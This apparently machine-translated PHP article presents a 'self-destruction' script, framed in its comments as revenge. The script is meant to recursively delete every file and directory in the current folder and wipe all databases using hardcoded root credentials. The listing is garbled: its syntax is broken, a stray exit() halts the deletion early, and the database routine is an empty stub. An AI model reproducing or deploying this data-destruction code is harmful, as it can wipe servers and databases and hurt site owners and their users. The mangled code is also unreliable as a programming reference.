PHP self-destruction program (use with caution)
This article describes the PHP self-destruction program. Share it with you for your reference. The specific implementation method is as follows:
- // + ----------------------------------------------------------------------
- // | Kill !!
- // | The program will clear all files and directories in the current directory
- // | If the database information is set, try to delete all the database and table data (only if the permission is sufficient !)
- // + ----------------------------------------------------------------------
- // | Version: $ Id $
- // + ----------------------------------------------------------------------
- // ---------- Database configuration area -----------------
- // The force of revenge is terrible, so you do not need to specify a database to delete all!
- Define ('Db _ user', 'root ');
- Define ('Db _ pwd', 'root ');
- Define ('Db _ host', 'localhost ');
- Define ('Db _ port', '123 ');
- Define ('Db _ damage', true); // if it is false, the database is not touched.
- Run ();
- /**
- * The subject idea must be brilliant!
- *
- * @ Return void
- **/
- Function run ()
- {
- // Delete an object
- Deletedir ();
- // Delete the database
- DeleteDB ();
- }
- /**
- * Heh: delete all files in the current directory (recursion)
- *
- * @ Return void
- **/
- Function deletedir ($ dir = ''){
- If ($ dir = ''){
- $ Dir = realpath ('.');
- }
- Echo $ dir;
- Exit ();
- If (! Handle = @ opendir ($ dir )){
- // Check whether the directory to be opened exists
- Die ("this directory is not available ");
- }
- While (false! ==( $ File = readdir ($ handle ))){
- If ($ file! = "." & $ File! = ".."){
- // Exclude the current directory and parent directory
- $ File = $ dir. DIRECTORY_SEPARATOR. $ file;
- If (is_dir ($ file )){
- Deletedir ($ file );
- } Else {
- If (@ unlink ($ file )){
- Echo "file$ FileDeleted successfully.
";
- } Else {
- Echo "file$ FileDeletion failed!
";
- }
- }
- }
- If (@ rmdir ($ dir )){
- Echo "directory$ DirDeleted successfully.
\ N ";
- } Else {
- Echo "directory$ DirDeletion failed!
\ N ";
- }
- }
- /**
- * Heheh: Delete a database
- *
- * @ Return void
- **/
- Function deleteDB ()
- {
- If (DB_DAMAGE === true ){
- // Start
- }
- }
I hope this article will help you with php programming. |
PHP